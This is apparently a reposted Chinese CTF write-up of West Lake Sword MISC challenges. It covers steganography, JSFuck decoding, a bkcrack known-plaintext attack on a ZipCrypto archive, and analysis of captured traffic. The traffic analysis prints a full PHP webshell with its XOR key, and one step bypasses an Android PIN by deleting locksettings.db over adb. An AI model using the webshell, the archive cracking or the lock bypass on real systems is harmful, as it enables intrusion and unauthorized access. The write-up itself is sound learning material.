西湖论剑MISC
source link: https://charmersix.icu/2023/03/18/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91MISC/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
西湖论剑MISC
三月 18, 2023
拖进winhex, 发现结尾是一张png, foremost分出来试一下
foremost /home/kali/Desktop/cipher.mp3
得到一张这样很像打了码的二维码, 但又不是二维码的图片
这里我们没有思路, 再放进zsteg
里跑一下
zsteg flag.png --all
发现zip一个, 将其提取出来
zsteg -e 'b1,r,lsb,xy' flag.png > flag.zip
有密码, 放到爆破里看一下, 看来是没戏, 剩下的思路就是MP3里应该还隐写了东西, MP3Stego
跑一下
解压拿到47.txt
2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj
唯一提示: 47
, 去百度寻找答案
那就试试rot47
得到一段内容
a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();
像是js内容, 直接浏览器运行一下, 拿到flag:DASCTF{f8097257d699d7fdba7e97a15c4f94b4}
当然, 这里我了解到他是jsfuck, 工具在这
可以看一下这里
take_the_zip_easy
这里利用一个明文攻击, 所谓明文攻击就是通过目前已知的部分信息, 去攻击得到未知的一些信息, 那么这个压缩包我们有什么已知的呢?
我们看一下这个压缩包的压缩方式
ZIP的加密算法大致分为两种ZipCrypto和AES-256,各自又分Deflate和Store。
ZipCrypto Deflate
ZipCrypto Store
AES-256 Deflate
AES-256 Store
ZipCrypto算是传统的zip加密方式。只有使用ZipCrypto Deflate /Store才可以使用 ZIP已知明文攻击进行破解。
传统的ZIP已知明文攻击利用,windows下可以使用AZPR,linux下可以使用pkcrack。
那么这个压缩包有什么是我们已知的呢, 我们来winhex细看一下
很明显这个名字是我们已知的, 并且, 那我们把这名字的十六进制数值copy出来646173666C6F772E706361706E67
, 然后通过命令 .\bkcrack.exe -C .\zipeasy.zip -c dasflow.zip -x 30 646173666c6f772e706361706e67 -x 0 504B0304
2b7d78f3 0ebcabad a069728c
然后再通过命令 ./bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip
拿到流量包
导出HTTP对象, 发现flag.zip
发现还是有密码的, 我们继续翻阅流量包, 这里很明显是黑客上传的webshell, 然后我们追踪最后一条eval.php
看一下, 可惜被加密过, 那么我们往前翻, 看一下他的加密方式
我们可以在第六个TCP流里发现这串加密代码
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
然后我们让Chat GPT帮忙看一下
这段代码是一段 PHP 代码,它实现了一个简单的加密和解密机制,同时实现了一个简单的 Webshell 功能。
首先,这段代码使用
@session_start()
开始一个会话,然后使用@set_time_limit(0)
禁止脚本执行超时,最后使用@error_reporting(0)
关闭错误报告。接下来是
encode()
函数,该函数接受两个参数$D
和$K
,其中$D
是待加密/解密的字符串,$K
是密钥。函数的主要作用是将$D
字符串进行加密或解密,具体操作是按位异或(XOR)每个字符与密钥中的字符进行运算,然后返回加密/解密后的结果。代码中定义了四个变量:
$pass
:密码,用于验证 POST 请求是否合法。$payloadName
:有效载荷名称,用于存储从 POST 请求中获取的有效载荷。$key
:加密密钥,用于加密和解密数据。$data
:从 POST 请求中获取的加密的数据。代码的主要逻辑如下:
- 如果 POST 请求中包含了
$pass
变量,那么将从 POST 请求中获取到的数据$data
进行解密,然后使用$payloadName
变量存储有效载荷,如果有效载荷中包含了getBasicsInfo
字符串,那么直接存储,否则对有效载荷进行加密后再存储。- 如果没有包含
$pass
变量,那么检查有效载荷中是否包含了getBasicsInfo
字符串,如果包含了,则表示要执行命令,否则不做任何处理。最后,代码使用
eval()
函数执行存储在有效载荷中的 PHP 代码,并将执行结果进行加密后输出。同时,代码还输出了一个哈希值,包括密码和密钥的 MD5 哈希值的前 16 个字符和后 16 个字符,用于验证密码和密钥是否正确。
<?php
function encode($D, $K)
{
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
//$pass='air123';
$key = 'd8ea7326e6ec5916';
$a = 'J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3';
//$b = substr($a, 16, strlen($a) - 32);
echo gzdecode(encode(base64_decode($a), $key));
然后我们直接看比较靠后的包,终于在我们的36流, 发现了密码airDAS1231qaSW@
最终拿到flag
下载下来是一个npbk
文件, npbk可以当作一个压缩包然后直接分析他里边的vmdk
, 直接修改后缀为zip
, 解压拿到vmdk, npbk也提示我们这是个安卓系统, 我们可以直接将其导入模拟器, 这里我用的是夜神, 其他的应该也是可以的
然后我们开启这台机器, 发现有密码
大部分人参考的都是这篇文章
我们可以借用nox
自带的adb shell
这里开启虚拟机, 然后直接终端打开到Nox/bin
目录即可
然后直接执行
rm /data/system/locksettings.db
即可清楚pin码
看起来一切正常, 只有一个Skred貌似可以利用
这里是两个人的聊天记录, 一堆压缩包以及两张图片
我们可以从这里将图片保存出来到pc上
二话不说, zsteg跑一下试试, 看的我头皮发麻, 也没看出有什么猫腻
再打开stegsolve
这个软件也许会更直观一点, alpha2很明显有东西, 直接提出来看看
保存出来会发现一些不一样的地方, 这里一定要细心一点, 因为文件非常大
这里可以写个脚本将数据二进制提取出来
from PIL import Image
img = Image.open('1.png')
a, b = img.size
flag = ''
for x in range(a):
for y in range(b):
pixel = img.getpixel((x, y))
if x == 400:
r, g, b, alpha = pixel
if alpha == 251:
flag += '0'
elif alpha == 255:
flag += '1'
print(flag)
可以拿到字符串e01544a9333ef62a3aa27357eb52ea8a
像压缩包密码可以解压
这里还有一张图片没有用到, 它的信息居然藏在了exif里可以使用在线工具查看
直接来xor可以拿到flag
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK